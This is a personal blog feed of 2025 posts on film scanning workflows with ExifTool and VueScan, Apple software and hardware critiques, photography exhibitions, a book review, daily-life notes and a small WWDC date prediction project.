A Leica M, si a tool that is “charming” and “elegant”. The tactile satisfaction of a Leica’s mechanical shutter, the precise click of an aperture ring and even the deliberate act of manual focus, are hand crafted to be loved. The Leica M does one job: it exposes film or a digital sensor. It’s designed to be the input for the next tool in the chain: the darkroom, the developing tank, the film scanner, or your digital post-production software.

Tagging film scans

Sun, 16 Nov 2025 12:38:00 +0000

If you shoot film, and later you scan it, especially into formats like DNG, you end up with a file that is poor in metadata. Your scanner software (like VueScan) knows about the scanner perhaps a Plustek 8100 and the scan settings, but it has no idea what camera or lens took the original photo.
This leaves a gap in your digital library.

To fix this, I use ExifTool to add the relevant EXIF tags to the scanned files.

Here is a single command I use to batch-process a directory of DNGs to embed all the correct metadata for a specific camera and lens combination.

 1exiftool -overwrite_original -r -ext dng \
 2-Make="Leica Camera AG" \
 3-Model="LEICA M6" \
 4-SerialNumber="<camera serial number>" \
 5-LensMake="Leica Camera AG" \
 6-LensModel="Summicron-M 1:2/35 ASPH." \
 7-LensID="Summicron-M 1:2/35 ASPH." -LensInfo="35mm f/2" \
 8-FocalLength="35.0 mm" \
 9-Artist="GIOELE MARTELLI" \
10-ProfileName="LEICA M6" \
11.

-overwrite_original is an important flag. By default, ExifTool creates a backup copy of your original file (e.g., file.dng_original) before writing changes. This flag prevents that, modifying the file in-place.
This is a destructive action. I recommend running the command on copies of your files first until you are confident in the results.

The above command is a “master template”. I keep a separate script with variations of this command for my other common combinations.

It’s a simple, one-time step per batch of scans that makes my digital archive infinitely more organized and searchable.

My scanning workflow with the Plustek OpticFilm 8100 and VueScan

Wed, 12 Nov 2025 12:54:00 +0000

I’ve recently integrated a new piece of hardware into my film photography workflow: a Plustek OpticFilm 8100. After watching the second-hand market for a few weeks, I found a unit on subito.it for €200.

It’s not the best scanner ever, you can find some other scanners from the same manufacturer with the infrared channel (used for identifying dust on the negative), but for that price, I think you cannot do any better, and you can always clean up the dust in post.

The decision to buy a dedicated scanner was driven almost entirely by cost effectiveness. Locally, film development alone costs €2,50, which is entirely reasonable. However, development plus scanning jumps to €12 per roll. The €9,50 difference adds up quickly.  Since I plan to shoot at least 20 rolls a year, and the scanner was a shared purchase with my brother, the scanner pays itself off in about 7 months. It also gives me the flexibility to scan archives and process roll for friends (looking at you, nomnp).

Software

This scanner comes bundled with SilverFast, but since I’m a macOS user that likes to keep his setup the most minimal as possible, and I already had VueScan installed for scanning my Polaroids on a not-so-great all-in-one printer from Canon, I decided to use it.
Also, the plus is not having a software rooted in late-90s paradigms. I tend to prefer tools that are straightforward and configurable, and VueScan INI configuration files are perfect for saving and backing up.

Workflow

My core objective is to create a high-quality, archival digital negative while also getting a usable positive image, all with a single scan operation. To achieve this, I’ve configured VueScan for a dual-output workflow.

With every scan, the scanner gives me two files: 

Graded Positive (DNG): Inverted, 16 bit grayscale or 48 bit RGB image.
Raw Negative (DNG): Archival master, 48-bit DNG, unaltered linear data from the scanner’s sensor.

Scan Settings

After some nights of tinkering, I’ve settled on a few key settings for the optimal balance of quality and efficiency. The core settings are: 

Resolution: 3600 dpi. The 8100 claims a maximum of 7200 dpi, but this is largely coming from oversampling. The effective optical resolution is closer to 3600-3900 dpi (observed by others). I’ve settled on 3600 dpi because it provides a good balance of quality and scan speed. I can always rescan a specific frame at a higher resolution if I truly need a massive print.
Bit-depth: 48-bit RGB. This captures the maximum tonal data from the negative, essential for post processing.
Multi-Exposure: 2 passes. I’ve enabled 2-pass multi exposure, it doubles the scan time, but provides a significant reduction in noise, especially in the shadow areas. VueScan reads the entire scan area multiple times (in your case, twice) and then averages the data.

To get this dual output, I simply checked both Output | Raw file and Output | TIFF file in VueScan and enabled the DNG format for both.

See it in action

I ran an Instagram Live session yesterday demonstrating this entire process I’ve archived the video on YouTube for anyone interested in the specific, in-depth setup.

This setup achieves the perfect balance for me: it’s cost-effective, gives me full control over the archival process, and provides the flexibility to improve my conversions in the future without having to rescan my entire archive.

 1[VueScan]
 2[Input]
 3Options=2
 4Source=OpticFilm 8100
 5[Input-OpticFilm8100-Transparency]
 6Media=2
 7AutoMedia=2
 8PreviewArea=1
 9BitsPerPixel=5
10PreviewResolution=5
11ScanResolution=3
12NumberOfPasses=2
13[Output]
14TIFFFileType=4
15TIFFCompression=0
16TIFFDNGFormat=1
17RawDNGFormat=1
18[Output-OpticFilm8100-Transparency]
19TIFFFile=1
20JPEGFile=0
21RawFile=1

Contact and Newsletter temporarily offline

Tue, 11 Nov 2025 17:06:00 +0000

The spam volume received through the contact function and the newsletter function has recently crossed the threshold of “annoying” into “actively degrading my life.” The signal-to-noise ratio in my inbox is now approaching zero, and sifting through junk to find legitimate messages is no longer a sustainable task.

Effective immediately, I am temporarily disabling all site-based contact forms and the newsletter subscription function.

This is a stop-gap measure. I am currently working on implementing a low-friction defense for my readers: stateless proof of work.

Those who know me personally know how to reach me via standard channels.

Once the new system is solid, the functionality will return.

Layers of glass

Sun, 19 Oct 2025 15:04:00 +0000

Yesterday I went to see the Lee Miller exhibition at Camera here in Turin (for the second time). It was a good show, with nice pictures and nice tension, that Lee Miller carried from the fashion world into war.

What really struck me wasn’t one of her photographs, but it was watching people watching her photographs through their phones.

There was specifically a lady that took a picture of every photograph at the exhibition. Like xerox copies, as if the goal was to leave with a backup of the exhibition.

I don’t get the point in going to an exhibition to experience it through a phone, you can find the same images online in two minutes.

Maybe it’s the habit of documentation. Maybe it’s the need to prove that we’ve been somewhere. We’ve trained ourselves to look at the world mediated by a screen, even when the original is right in front of us.

Apple, how is this legible?

Thu, 09 Oct 2025 09:39:00 +0000

Today I was using Apple Podcasts on my iPhone, and I noticed something that made me do a double take. The text in the player, in the section where you ca change the playback speed, was rendered in a light gray color on a slightly less light gray background. It was so faint that it was nearly impossible to read.

You can’t even say if the “Enchance Dialogue” option was selected or not.

Happens in both Light and Dark mode. iPhone 16. iOS 26.0.1 (23A355). FB20588103.

The Simulation of Connection: Spotify

Tue, 07 Oct 2025 15:47:00 +0000

Spotify’s vision has always been to be everywhere you are. By bringing Spotify into ChatGPT, we’re creating a powerful new way for fans to connect with the artists and creators they love conversationally, whenever inspiration strikes.

Sten Garmark, Spotify’s SVP of Global Head of Consumer Experience.

When I’ve read this quote, I found it rhetorically fascinating. It blurs the line between “connection” and “interaction”.

Can we be clear about what’s actually happening here? No one is actually connecting with artists. Why are we continually trading away depth for immediacy?

Some examples?

We text instead of calling.
We eat frozen food instead of cooking.
We buy fast-fashion instead of clothes that last.
We scroll through infinite feeds instead of engaging with a single work deeply.

Each of these substitutions promises to save time, as if the goal of life were to eliminate the experience of living itself. Friction is treated as an obstacle to be optimized away. But friction is also what gives texture to experience. The effort, the waiting, these are not bugs in the human condition. They’re THE features.

When platforms like Spotify talk about “connecting fans with artists,” they’re not selling music. They’re selling the feeling of intimacy. The same way social media sells the feeling of community or dating apps sell the feeling of romantic possibility, or casinos the feeling of winning.

It’s a form of emotional outsourcing. We no longer engage with music as an act of discovery or empathy; we engage with it as a consumer interface designed to deliver predictable microdoses of sentiment.

Art becomes data. Connection becomes simulation. Emotion becomes UX.

None of this is to condemn technology itself; it’s to question the uncritical way we let convenience dictate meaning.

At what point do we admit that we’ve lost the plot? Or are we clapping like trained seals, caring only about superficial appearances?

Slide Over is back!

Tue, 07 Oct 2025 02:00:00 +0000

A few weeks ago, I expressed my concern about the loss of iPadOS 26’s essence as it transformed into a fully windowing environment.

Today, Apple has partially addressed my call: Slide Over is back, baby!

With the release of iPadOS 26.1 Beta 2, Apple has restored Slide Over. This new version of Slide Over resides within an updated “container” paradigm, which differs from the previous version of a floating “app”. However, it introduces a new feature: resizable windows.

Users can resize, move, and manipulate the Slide Over window, maintaining its temporary nature rather than functioning as a full app window. This compromise strikes a balance between power and immediacy.

I genuinely appreciate Apple’s decision to bring Slide Over back. It restores an essential aspect of the iPad’s identity and it demonstrates Apple’s commitment to the simplicity that made iPadOS unique in the first place.

One additional (re issued) feature I would like to see is the return of task switching within Slide Over. The previous stack of apps tucked on the side facilitated seamless multitasking. Reintroducing this feature would complete the experience.

For now, it’s simply gratifying to witness the iPad regaining a sense of its rhythm.

Sent from my iPad

Why I think gear isn't the point

Mon, 06 Oct 2025 11:49:00 +0000

Over the years I’ve been to plenty of photography exhibitions, from small local artists to the big international names, and something that struck me was that for every artist who brings genuine artistic weight and perspective, there’s a flood of unauthentic work, that often feels copy-pasted.   You get the same compositions, same edits, same color gradings, same gear, and so on. Maybe beautiful, but, using Roland Barthes’s terms, that beauty that only allows the viewer to celebrate the Operator and a little bit of the Studium. But, in my opinion, missing the Punctum.

The main problem is not people that take photos, that’s never the problem. The problem is who curates them, and the aesthetic they decide to elevate.  Too often I see curators having the “Instagram taste”: perfect symmetry, beautiful painted-like skies, reflection so sharp they look AI generated. It’s algorithmic pop. Polished and efficient, but completely empty.

Last Saturday I went to see World Press Photo exhibition here in Turin, and I’m afraid it didn’t hit me as hard as I hoped. Even though in theory it’s closer to the kind of photography I appreciate: documentary, human, narrative-driven. The exhibit felt a bit disconnected, with too many isolated pieces, and no single thread tying them together.

One thing that is true is that I tend to prefer exhibitions where a single author or a clear concept is presented, I like to follow a line of thought, and don’t jump between traumas and continents every two frames.

Overall? A solid 6.5 out of 10 from me, and I don’t think I will go to see it again in the coming months.

My experience was diametrically opposed to the experience of my friend: she loved the chaos, the abrupt shifts from one tragedy to another.

She also mentioned something that struck me: she was disappointed there wasn’t more information about the technical side of the photos. No mention of cameras or lenses.
She wanted to know what tools these photographers prefer and why.

This is a point that I don’t understand, and we had a long discussion about it.

I think that photography should never be associated to the equipment used to take the picture; you don’t ask Picasso what kind of brush he used, or a chef what brand of pan he uses. This is because I think that pushing pictures and gear together passes the message that you need specific gear to create similar work, and I think that’s a big trap.

Her counter argument is that removing technical context can also strip the human element, but I think that the human element is in the result, not the medium, and not in the relationship the artist has with the camera, the lens, or any other gear.

This is one of the reasons I cannot get in tune enough with landscape and wildlife photography, or at least with the “pop” part of this genre.

For me, it feels like that the majority of the work produced in this genre of photography is 80% gear flex and 20% skill.
Considering that a lot of these photos are made remotely, from pre-set camera rigs, or with traps. The production quality is insane, sure, but where is the story? Where’s the tension?

She wasn’t having it.

Go lie in the snow twelve hours a day for two weeks to photograph an animal that appears twice a year, then talk to me about skill.

She’s absolutely right, patience is a skill. Maybe I undervalue that because I’m drawn more to narrative and emotion than to natural beauty for its own sake.

Our disagreement boiled down to something simple: I see photography as a language, she sees it as a language and a craft intertwined.

Both approaches are valid. One prioritizes meaning; the other respects the process too.

Maybe, if anything, what photography really teaches is this: we all look at the same frame, but we don’t see the same thing.

Safari, don't move my fucking content

Wed, 24 Sep 2025 17:15:00 +0000

Safari in macOS 26 has broken something fundamental: the stability of the interface.

Since 2021, Apple’s browser carried an understated feature IMHO: Compact Tabs.  Even if they weren’t universally loved, they embodied an important principle for me: technology staying out of the way.

Compact Tabs kept Safari’s chrome minimal, they gave you “your content”, without any of the fuss, and more importantly they followed these three principles:

They avoided layout shifts;
They preserved spatial memory;
They reserved space ahead of time.

In macOS 26, Safari’s new chrome ignores these values. The interface is consuming more vertical space than before.

Opening a new tab with ⌘ + click is a fuck you to the user: the browser asserts itself over the content, moving what you’re focused on. This is the opposite of transparent computing.

This matters because stability is trust. Apple walked away from one of the most important design principles: interfaces should get out of the way.

Even Firefox now does a better job at getting out of the way.

iPadOS 26 should've retained Slide Over and Split View

Mon, 22 Sep 2025 11:59:00 +0000

With iPadOS 26, Apple has made the iPad more powerful than ever, but the cost of doing that was loosing access to Split View and Slide Over.

For years, these gestures made it possible to use two apps side-by-side or to pull in a floating panel with virtually zero mental overhead.

They were a fluid, lightweight and functional para-windowing model that worked really well in a touchscreen first device.

Today, these features are gone from the latest iteration of iPadOS.

Apple’s replacement is a full-blown windowing system. Apps now live inside resizable windows that float freely (or can be tiled together), a-la macOS. Apple adopted the iconic Traffic-light iconography from macOS, and last year tiling options. Stage Manager also remained as an option.

It’s undeniable that today’s system is more flexible. The iPad can now approximate a laptop experience. But this flexibility comes at a cost.

Slide Over. It was a fundamental experience of many that used the iPad.  It enabled fast, temporary multitasking, apps lived on the edge of the display, allowing us to peek, act and then dismiss.

That workflow was instant, that simplicity was at home on a touchscreen device.

Now, in order to replicate that behavior in iPadOS 26, you have to:

Open the dock;
Drag an app into a new window;
Resize it manually;
Position it where you want;
(and to recall it) Open back the dock or the Application Switcher and touch the app.

It works, but it’s not Slide Over.

iPadOS 26 feels conflicted. It’s the most powerful version of this OS, but it’s also the most complicated. Multitasking has turned into a labyrinth of swipes that don’t feel native on a touchscreen device.

Slide Over and Split View tamed this complexity by providing a narrow choice of options, choices that felt more opinionated. But, they made the iPad feel approachable, in contrast to iPadOS 26, that feels bolted with desktop paradigms.

The iPad was never meant to be a Mac. Its magic was rethinking how computing could work on a slab of glass.

Sent from my iPad

A short review of the new iPhones (2025)

Fri, 19 Sep 2025 19:59:00 +0000

Hey, it’s been a while since I last wrote about Apple products, and the last time I did, I was pretty critical of the state of the software. Today, the software doesn’t seem to have improved much, but as a nerd, I couldn’t resist getting my hands on the new iPhones, and doing a little trip to the Apple Store.

Today is the day of the launch of the new iPhones, and since I had a preorder in for a family member, I offered myself to accompany them to the Apple Store to get a change of experiening all the other products.

The Apple Store in Via Roma, Turin was packed with influencers and videomakers, trying to get the shots of the new iPhones with their DJI Osmo something-something.

I want to provide a short overview/review of all the models, since I had the opportunity to try them all.

iPhone 17

The iPhone 17 is the new entry-level model, and it comes in a variety of colors, that loook like they were chosen because they were out of the paints leftover from last year.

Othen than that, the iPhone 17 is a solid phone, basically last year’s iPhone but with better cameras, better screen (now with ProMotion) and the same pricetag as last year.

I think this is the only new iPhone that is worth considering.

iPhone 17 Pro

The iPhone 17 Pro is the new high-end model, and it comes with a all-new aluminum body. The new aluminum body is a bit of a mixed bag: on one hand, it is better thermally than the titanium of the previous models, but on the other hand, it feels a bit cheaper.

The cheapness is echoed by the Camera Plateau, which with the new material, is subject to scratches and dents. The new color options are also a bit questionable, I think I hate the orange one the most.

I’m not convinced about the durability of the aluminum, considering that my iPhone 16’s sides corroded because of my sweat (and I use my phone for 2 hours a day max).

The window glass on the back is also an element of concern. It’s not an elegant iPhone.

iPhone 17 Air

The iPhone 17 Air is the new mid-range model, and it comes with a new design that is incredible. It’s incredibly thin and light, and it feels like a piece of jewelry.

The polished titanium rails are a fingerprint magnet, but they look incredible when clean. The light blue one is my favorite.

The iPhone 17 Air is a beauty, but is full of compromises, like zero stereo imaging, a smaller battery, and a single camera.

Apple Watch Series 11

It’s basically the same as the Series 10, but now with the possibility of 5G.

Apple Watch Ultra 3

It’s basically the same as the Ultra 2, but now with the possibility of 5G.

Apple Watch SE 3

It’s basically a Series 9 but without the ECG and the blood oxygen sensor. It’s the one to get.

AirPods Pro 3

They sound great, but the case materials and the case’s lid that has a lot of play (compared to my AirPods Pro (1st generation)) don’t convince me.

In conclusion, I think this year Apple has made some questionable choices, both in terms of design and materials, and in the way they are distributing features across the lineup.

This year I decided to not get any of the new iPhones, and I will stick with my iPhone 16 Pro for another year.

I think I will do a review of the new platform releaeses in the next weeks, since I used for a big part of the summer the various betas.

Samsung makes intelligent phones for stupid people

Sat, 06 Sep 2025 10:30:00 +0000

I wonder what’s up with the marketing team at Samsung. Lately I’ve seen some of their ads popup on YouTube, I think they just released some phones, I don’t closely pay attention to them as a company since I think their phones are unusable, as of my recent experience with a Samsung Galaxy S25 Ultra, an A56 and an S24 Ultra.

I don’t know what is the appeal for this kind of product, a product that “probabilistically” gives you options from the real world, a product that actively cuts you from human interaction, and a product that removes from you spontaneous choices.

Advertising a product that cuts you the reading, the thinking and ultimately creativity is, in my opinion, harmful.

I think that Samsung should focus more on their core experiences, and less on bulking up their phones with features no one asked for.

One example of their core interactions that went bad? Sharing a contact to WhatsApp.

I open the Phone app, select the contact I want to share, and tap on Share.

A prompt appears asking if I want to share as a VCF or as text, this should not be on final software that goes in the hands of millions of users, I know what VCF is because I’m a technical person, but imagine your grandma trying to understand what VCF is.

I choose VCF, and it takes me to another activity where I can select the fields to include in the VCF. This activity isn’t part of the Phone/Contacts app.

After selecting the fields, I proceed with sharing and choose WhatsApp. A toast message pops up saying, “WhatsApp does not support this VCF file.” Meanwhile, the activity that initiated the sharing has closed, dropping me back into the Contacts app.

I tap Share again, but this time it doesn’t ask me how I want to share the contact. So, I close the app and try again. This time, I select “Text” in the sharing menu, but I can’t find WhatsApp among the options, only apps like Samsung Notes appear.

Frustrated, I hit the back button, open the contact again, but accidentally tap it the wrong way™️, triggering a call. I end the call, tap the contact again, copy the number, and finally paste it manually into WhatsApp.

How’s that a good experience?

LensRenamer

Mon, 21 Jul 2025 15:09:00 +0000

Anecdote time. I recently bought a Leica, and suddenly my perfectly organized photo library became a guessing game. Why? Because manual and vintage lenses don’t talk to the camera, so EXIF is incomplete—or just plain missing. Which Summicron? Was that the Brightin Star or the Zeiss? What focal length?

So, I built LensRenamer.

LensRenamer is a macOS app that batch-writes lens metadata—make, model, serial, focal length—directly into your image files. If you use manual or adapted glass, especially on a Leica, you know why this matters. Your cataloging tools depend on that EXIF, and missing data can turn a simple search into a rabbit hole.

Features

Drop your images, select your lens, and go.
Build your own collection of lens profiles, ready to stamp onto any batch.
No extra installs. No Terminal dance.

Requirements

macOS (Intel or Apple Silicon)
Nothing else—ExifTool is bundled

Get It

Download: Latest Release

How Last Week Went: Computers Are Your Friends*

Fri, 18 Apr 2025 13:58:00 +0000

At the start of the week, I added a new phrase to my vocabulary: “Sgnacca il butun,” a quirky Piemontese expression meaning “push the button.”  

I had a meeting Maria from work after four long months. It’s fascinating how time apart makes reunions feel both familiar and fresh. I can’t wait to “chiamare una giornata” (literally, calling it a day) with her.

Later that day, I packed up for a trip back to Abruzzo, to embrace the Easter festivities. The journey was a blast, literally. My brother and I played music non-stop for seven hours.

Just after I got home and checked my blog, I began contemplating the need to implement pagination. With nearly 50 articles under my belt, it felt like the right time to enhance navigation.

On the tech troubleshooting front, on Monday, a Studio Display at work decided to throw a tantrum, refusing to show any image. After scouring threads like this one, I found a simple solution (I was already excited about having to do a DFU restore of a Studio Display). An age-old Computer Science 101 trick worked fine: disconnect all the cables and reboot.

Similarly, my parents’ MacMini7,1 gave me a hard time, crashing repeatedly between boot and login. Despite attempts with recovery mode, progress was minimal. Ah, the joys of technology.

My car also got a little care at the body shop after a kid bumped its scooter on my fender, while I was waiting for my car back, I posted the review of Tamara Shopsin’s “LaserWriter II”.

I took a peaceful stroll in Ortona, heading towards the Castello Aragonese, and I thoroughly enjoyed capturing the interplay of light and ancient stone.

On Holy Thursday, I attended the traditional procession of hooded penitents in Lanciano to take some photos. The participants, walked solemnly through the narrow streets of the historic center, accompanied by drums and prayers.

Oh, I also have some future projects: my mother made some sourdough starter (that I will gladly take). When I’ll be back in Turin, I’ll have some new baking experiments to do!

OCLP on my parent's Mac mini: a failure story

Thu, 17 Apr 2025 17:00:00 +0000

I returned home for the holidays a few days ago and decided to update my parents’ Mac mini, which was stuck on macOS 12 Monterey, to macOS Sequoia using Open Core Legacy Patcher (having successfully done so on other Macs).

Unfortunately, yesterday, I made a foolish decision to update to macOS 15.4.1 via OTA. After the usual reboots, I was unable to get past the login screen on the Mac mini because it crashed every time I tried to enter the password.

After some troubleshooting steps and reading the helpful and well-detailed Dortania’s Open Core guide, I booted into recovery mode, mounted the EFI partition, and began editing the Open Core’s config.plist. I first added the argument -igfxvesa to the boot args because I noticed that on the login window, transparencies were not working, so I thought it might be an issue with the iGPU.

I booted back into recovery mode and tried resetpassword to set a shorter password to at least attempt to gain access during the brief flashes of the login screen. However, this didn’t work either.

After some Google searches, I found this post from the MacOS community on Reddit, that made me recall that my mother’s profile picture is a Memoji, everything suddenly made sense.

After hours of trial and error, countless reboots, and an ever-growing sense of despair, I finally admitted defeat. As I type this, I’m reinstalling macOS Monterey, defeated, because I was unable to change my mother’s profile picture.

Book Review: LaserWriter II

Wed, 16 Apr 2025 20:50:00 +0000

I’ve finally finished reading Tamara Shopsin’s LaserWriter II after a reading block that lasted for about two months, and it made me do some reflections on what is happening with consumer electronics. This book is a love letter to a specific moment in tech history, shaped by Apple not just with products, but with culture.  

Apple didn’t make the first consumer laser printer; they made the fourth, after IBM, Xerox, and HP. The LaserWriter used the same exact Canon engine as the HP LaserJet, but the LaserWriter was better.

Apple understood something deeper: how to present technology in a way that people could actually fall in love with.

That idea feels especially relevant today. Tim Cook, in an interview last year, stated that Apple is not the first company to race to AI, he said Apple will be the one that implements it the best for consumers. This statement should still be relevant today, but we have yet to see the true advantages of Apple Intelligence.

It surprised me how many of the book’s lines stuck with me. Here are a few favorites: 

If you are ever in doubt, do the right thing

Courage is as contagious as fear.

Choosing NOT to do something is as much choosing to DO something. Free will is not just what you do, it is also what you don’t.

It was a good read. I enjoyed it, even though some parts, like the personification of printers’ internals, were a bit over the top.
The book was also filled with names, but with not so much space to let them “breathe”, so not every personality shone through.

Still, LaserWriter II captures something special: a moment when machines weren’t just tools, but extensions of care, obsession, and idealism.
Can Apple still do what it once did best?

Oh, and one of the last phrases in the acknowledgments?

Thanks to Apple for making computers that I love to an illogical degree.

LaserWriter II

GoodReads

LaserWriter II is a coming-of-age tale set in the legendary 90s indie NYC Mac repair shop TekServe―a voyage back in time to when the internet was new, when New York City was gritty, and when Apple made off-beat computers for weirdos. Our guide is Claire, a 19-year-old who barely speaks to her bohemian co-workers, but knows when it’s time to snap on an antistatic bracelet.

Tamara Shopsin brings us a classically New York novel that couldn’t feel more timely. Interweaving the history of digital technology with a tale both touchingly human and delightfully technical, Shopsin brings an idiosyncratic cast of characters to life with a light touch, a sharp eye, and an unmistakable voice.

Filled with pixelated philosophy and lots of printers, LaserWriter II is, at its heart, a parable about an apple.

Notes from a week of presence

Mon, 14 Apr 2025 09:50:00 +0000

Since I started browsing minifeed.net more frequently, I’ve found myself reading more and more articles and subscribing to more RSS feeds, this also makes me feel more connected to the indie web.

Today, I came across this excerpt from thejaymo.net’s blog that truly resonates with me:

A blog in 2025 should be a destination. They don’t just distribute — they accumulate. They hold time, build presence, and concretise.

This resonates with me at an opportune moment, as I’ve been writing more frequently and gradually overcoming my fear of expressing my thoughts in public.

Cesare Nai — a friend of mine currently working on Miraggio, a blog/newsletter built around interviews with photographers — and I had a conversation last Saturday. Despite the 100 kilometers between us, we simultaneously realized that our pursuit of perfection in every area of life has been chipping away at the joy of simply doing things.

While talking with my friend Elisa, I admitted that I struggle with dating apps. Not because I’m unwilling to try — but mostly because I’m “me”. I have my quirks, and I’m not convinced six pictures and three prompts are enough to convey them. That’s probably why those platforms don’t really work for me.

Still, I’m in a phase where I want to meet more people, so I’m leaving that door open for now.

I don’t know if I will close this experiment soon, since I’m currently in the mood to meet more people.

I finished reading Tamara Shopsin’s “LaserWriter II”, and I’m collecting some highlights from the book to write about it (it helps me to be mindful when reading).

I also bought a new photo book in a street market titled “Il Fotogiornalismo in Italia - Linee di Tendenza e Percorsi.”

Over the weekend, I visited Sala Gonin, a Baroque architectural room located on the ground floor of the Torino Porta Nuova station. Once used as a waiting room for the sovereigns and the Savoy court. The frescoes in the room symbolize the three essential elements required for the functioning of a steam engine: fire, water, and coal.

I also watched the F1 race this Sunday. I particularly enjoyed the duel between Charles Leclerc and Lando Norris. Penny is the reason I’ve been getting back into Formula 1. This was only the second race I’ve watched this season. The spark was reignited last September, on my birthday, during the 2024 Italian Grand Prix. As an Italian, I’m contractually obligated to be a Ferrari fan.

To wrap up the week, yesterday I went to take a beer with Francesco, and we watched the compilation of a C++ codebase (yes, really). I also tried “Punt e Mes” for the first time, and I swear I taste sour cherries in it.

Here are some reflections from the past week:

I can't fall in love with cars anymore

Fri, 11 Apr 2025 15:15:00 +0000

Growing up, I was mesmerized by Top Gear and later by The Grand Tour, hosted by Jeremy Clarkson, James May, and Richard Hammond. The show’s final episode, titled “One for the Road,” left an indelible mark on me, especially with dire straits’ “Brothers in Arms” playing in the background. It felt like the end of an era.

Today, during a conversation with my friend Roberto, I realized that I might not purchase another car if electric vehicles (EVs) become the sole option available. Over the past 15 years, EVs, SUVs and crossovers have gained significant traction on Italian roads, transforming the automotive landscape in Italy.

One notable shift is the decline of traditional car ownership. Instead, short-term leasing and subscription models have become more prevalent. This trend accelerated with the entry of Chinese EV manufacturers into the European market, offering affordable and technologically advanced vehicles. Consequently, consumers are increasingly drawn to convenience and flexibility rather than long-term commitment.

From my perspective in computer science, this shift reminds me of the “Cattle vs. Pets” model. In IT, “pets” are unique servers that require individual attention, while “cattle” are standardized and easily replaceable. Similarly, cars have transitioned from cherished possessions to interchangeable tools.

As someone who has always been passionate about cars, this change is disheartening. The emotional connection and sense of identity that once came with car ownership are fading. While modern vehicles are efficient and environmentally friendly, they often lack the character and individuality that made driving a thrilling experience.

The sense of loss for those who view cars as more than just transportation is growing, and as a car enthusiast, I find it increasingly challenging to fall in love with a modern car.

I want to be bored

Thu, 10 Apr 2025 12:30:00 +0000

One of the things I detest the most in the world is the feeling of wasting time doing nothing. For this very reason, I can’t function without a task list (let’s be honest, multiple task lists) and a tightly booked calendar.
But I think this is a fragile equilibrium. It feels like walking on a tense cotton yard. You know it will break, but in the meantime you feel comforted by the sense of tranquillity only cotton could give you.

Am I living in autopilot?

Sometimes I wish I could be more spontaneous.
Some weeks ago, I received a message from Francesco about some of the rules he implemented in his life:

Limit social media to 30 minutes per day;
Dedicate at least 30 minutes per day to reading and take notes;
Reduce caffeine intake.

While I’ve already implemented some of them, such as reducing caffeine consumption and removing social media from my phone (I still check them on my iPad or Mac, but I have a physical barrier between me and endless mindless scrolling), not everything is perfect.

I realize that I need to simplify my life and embrace boredom. I believe that boredom can stimulate creativity.

Is your first instinct asking an LLM?

Wed, 09 Apr 2025 20:50:00 +0000

What I’m up to?

Tue, 08 Apr 2025 12:30:00 +0000

Over the past week, I’ve been making an effort to strike a balance between my digital and analog life.

My goals were to spend more time outdoors, overcome a reading slump, and focus on a project that brings me value.

With the beautiful weather in Turin last week, I decided to take more frequent breaks from screens and return to street photography.

It’s been challenging to care about the pictures I’m taking, but I’m trying to be patient with myself. I know that with time, I’ll rediscover my appreciation for the process.

I’ve started reading Tamara Shopsin’s “LaserWriter II,” which, as an Apple fan, I’m really enjoying. It’s a nostalgic tribute to the Apple culture of the late 90s and early 2000s, and I’m thoroughly absorbed in it. (I’m also considering writing a review of this book.)

At work, I’ve been developing a domain-specific language using Lisp’s S-Expressions. This project is allowing me to explore language design, and it’s a breath of fresh air, since my last project was focused on a deployment of a bioinformatics-centered analysis platform.

My recent days have been accompanied by the music of Four Tet and Burial. Their minimalist and repetitive soundscapes help me enter focused states, as they effectively silence all background noise in the office environment.

When I’m listening to music for leisure, I’m enjoying 80s and 90s pop and rock songs. As I write this piece, I’m listening to Christina Aguilera’s “Genie in a Bottle.”

I’ve also been experimenting with a gluten-free bun recipe. After several attempts, I’ve finally achieved a result I’m satisfied with. I’m currently aiming for a 110% hydration level.

Last week, two close friends graduated from university, and we had a delightful outdoor lunch in a nearby town. We laughed a lot and indulged in some tasty food (more than I’d like to admit.)

In addition to these activities, I’ve been dealing with some car issues. The back driver-side door’s strip and the drain holes in the same door aren’t working as expected, and I’m still having trouble with the speaker every time it rains.

The Death of Critical Thinking

Thu, 27 Mar 2025 17:30:00 +0000

I often find myself feeling detached from reality when I’m surrounded by superficial conversations. It’s not just boredom or a lack of interest. I experience a genuine mental disconnection, as if my brain refuses to process information it perceives as empty. This disengagement isn’t about feeling superior, it’s about feeling disconnected. When discussions lack critical thinking, logic, or even minimal reflection, they feel less like conversations and more like noise.

This effect doesn’t happen only on small talk. Even discussions that should be interesting, such as tech, philosophy, or culture, can become hollow when they’re reduced to slogans, blind allegiance, or knee-jerk reactions.

I believe there’s a profound difference between not knowing something and not caring to know. In today’s society, people seem to settle too quickly, satisfied with surface-level knowledge. The habit of questioning, doubting, and pushing deeper is disappearing.

I think this is symptomatic of an active disengagement from critical thought. When faced with new information, too many people reject it outright rather than interrogating it. They don’t ask: “Is what I’m hearing or reading true?” “What’s the reasoning behind it?” “Could my previous assumption be wrong?” Instead, many people have a visceral, emotional, defensive, and ultimately dismissing reaction, shutting down the possibility of learning (or even teaching).

This isn’t just about online debates, it’s about a cultural shift. To this day, I have low expectations for people to engage meaningfully with bigger, more complex issues. Many areas of our lives, such as politics, technology, and ethics, aren’t black and white. However, when people treat conversations as battles, meaningful discourse dies.

The answer to the previous three questions is skepticism, curiosity, and humility.

Part of the problem is that we’ve built environments that reward certainty over curiosity. Social media algorithms feed us content that confirms what we already believe, news sources cater to specific ideological perspectives, and even our friend groups often form around shared beliefs. When everyone around you agrees with you, you begin to mistake opinion for fact and preference for truth.

ML model to guess WWDC dates

Mon, 24 Mar 2025 17:30:00 +0000

Update: March 25, 2025

Guess what? Apple just dropped the news about the conference! Check it out: Apple actually announced the conference!

Oh, and by the way, the predicted announcement date was off by a week.

Hello my fellow Apple nerds, or, as Tim Cook would’ve said: “Good Morning.”

Today, I’m proud to present my completely unnecessary and unasked-for adventure into predicting Apple’s WWDC dates using machine learning. Because nothing says “I have free time” like building a RandomForest model to guess when Tim Cook will send out an email invitation.

Apple’s WWDC is like Christmas for developers—if Christmas moved around slightly each year and required a ticket.

After checking out this post where David Smith compiled a list of WWDC dates for past years, I thought:

Why not use machine learning to predict the next one?

So, I casually imported half the Python data science ecosystem and started working on this marvelous task.

1import pandas as pd
2import numpy as np
3from datetime import datetime, timedelta
4from sklearn.ensemble import RandomForestRegressor
5from sklearn.linear_model import Ridge
6from sklearn.model_selection import cross_val_score, LeaveOneOut

I’m using a whopping 21 data points to train my ML models. Data scientists worldwide are collectively facepalming. But hey, it’s all the WWDC data we have!

